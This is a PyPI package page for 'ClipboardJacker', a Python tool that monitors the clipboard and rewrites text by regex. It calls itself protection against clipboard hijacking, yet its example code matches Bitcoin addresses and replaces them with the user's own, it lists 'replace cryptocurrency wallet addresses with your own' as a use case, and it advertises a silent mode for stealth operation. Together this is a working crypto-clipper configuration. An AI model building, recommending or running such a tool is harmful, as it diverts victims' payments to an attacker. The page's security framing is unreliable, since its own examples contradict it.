Skip to main content

A powerful Python tool for clipboard text replacement and monitoring

Project description

ClipboardJacker 🎯

A powerful Python tool that automatically replaces text in your clipboard based on configurable regex patterns. Perfect for protecting against clipboard hijacking, standardizing text formats, and automating text replacements.

Python Version License PyPI Version PyPI Downloads

🚀 Features

  • 🔒 Real-time clipboard monitoring
  • ⚡ Regex-based text replacement
  • 🛡️ Rate limiting to prevent excessive replacements
  • 🔕 Silent mode for stealth operation
  • 📊 Pattern statistics tracking
  • 🔄 Cross-platform support (Windows, macOS, Linux)

💡 Use Cases

🛡️ Security

  • Protect against clipboard hijacking attacks
  • Replace cryptocurrency wallet addresses with your own
  • Mask sensitive information (emails, phone numbers, etc.)

🔄 Text Standardization

  • Format dates and times consistently
  • Standardize phone numbers
  • Convert text case (e.g., to Title Case)
  • Replace common typos

🚀 Automation

  • Replace placeholder text with actual values
  • Convert markdown to HTML
  • Format code snippets
  • Replace URLs with shortened versions

📦 Installation

Quick Install (Recommended)

pip install clipboardjacker

From Source

# Clone the repository
git clone https://github.com/ampedwastaken/ClipboardJacker.git
cd ClipboardJacker

# Install in development mode
pip install -e .

Verify Installation

# Check if installed correctly
clipboardjacker --version

🛠️ Usage

Basic Usage

from clipboardjacker import ClipboardJacker, Config

# Define your patterns
patterns = [
    # Example: Replace cryptocurrency addresses
    {
        "regex": r"bc1[ac-hj-np-z02-9]{11,71}|[13][a-km-zA-HJ-NP-Z1-9]{25,34}",
        "replace_with": "bc1qyourbitcoinaddresshere",
        "description": "Bitcoin (BTC) address",
        "priority": 1,
        "enabled": True
    },
    # Example: Format phone numbers
    {
        "regex": r"(\d{3})[-.]?(\d{3})[-.]?(\d{4})",
        "replace_with": r"(\1) \2-\3",
        "description": "Format phone numbers",
        "priority": 2,
        "enabled": True
    },
    # Example: Replace email addresses
    {
        "regex": r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b",
        "replace_with": "redacted@example.com",
        "description": "Mask email addresses",
        "priority": 3,
        "enabled": True
    }
]

# Create config
config = Config(
    patterns=patterns,
    rate_limit=1,  # 1 second between replacements
    log_level="INFO",
    silent=False
)

# Initialize and run
jacker = ClipboardJacker(config)
jacker.monitor_clipboard()

Command Line Interface

# Run with default config
python -m clipboardjacker

# Run with custom config file
python -m clipboardjacker --config my_config.json

# Run in silent mode
python -m clipboardjacker --silent

# Set custom rate limit
python -m clipboardjacker --rate-limit 2

⚙️ Configuration

Create a config.json file:

{
    "patterns": [
        {
            "regex": "your-regex-pattern",
            "replace_with": "replacement-text",
            "description": "Pattern description",
            "priority": 1,
            "enabled": true
        }
    ],
    "rate_limit": 1,
    "log_level": "INFO",
    "silent": false
}

🛡️ Security Features

  • Rate limiting to prevent excessive clipboard modifications
  • Pattern validation to ensure valid regex patterns
  • Silent mode for stealth operation
  • Backup of original clipboard content
  • Priority-based pattern matching

🤝 Contributing

Contributions are welcome! Please feel free to submit a Pull Request.

  1. Fork the repository
  2. Create your feature branch (git checkout -b feature/AmazingFeature)
  3. Commit your changes (git commit -m 'Add some AmazingFeature')
  4. Push to the branch (git push origin feature/AmazingFeature)
  5. Open a Pull Request

📝 License

This project is licensed under the MIT License - see the LICENSE file for details.

⭐ Star History

Star History Chart

🙏 Acknowledgments

  • Thanks to all contributors who have helped improve this project
  • Inspired by the need for better clipboard security and automation

📞 Support

If you find this project helpful, please consider:

  • ⭐ Starring the repository
  • 🐛 Reporting bugs
  • 💡 Suggesting new features
  • 💰 Making a donation (crypto addresses available upon request)

Made with ❤️ by Your Name

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

clipboardjacker-0.1.3.tar.gz (9.1 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

clipboardjacker-0.1.3-py3-none-any.whl (8.7 kB view details)

Uploaded Python 3

File details

Details for the file clipboardjacker-0.1.3.tar.gz.

File metadata

  • Download URL: clipboardjacker-0.1.3.tar.gz
  • Upload date:
  • Size: 9.1 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.3

File hashes

Hashes for clipboardjacker-0.1.3.tar.gz
Algorithm Hash digest
SHA256 7db96ca60a8f1cbc38b98c351b21fdc2a8f979c05af0db0f53adcedc22bab963
MD5 b11521ee192ab3728c0adba1a4c2b61f
BLAKE2b-256 e97eb43bfa6d77efe41fee92674c1a4a3cd7477f0e5e3e4e4c2054f88f47a178

See more details on using hashes here.

File details

Details for the file clipboardjacker-0.1.3-py3-none-any.whl.

File metadata

File hashes

Hashes for clipboardjacker-0.1.3-py3-none-any.whl
Algorithm Hash digest
SHA256 7ff5b1109994d0b97aa3cb1d69f1cf9fc661260d05827e835a1e5e851eeb4708
MD5 74a99cc4ffb3e4be0e25ca3fc83b01a1
BLAKE2b-256 77436333907f3bf23de898fc068e3e9381bf1a8e18d5895eaa7a511e15767b97

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page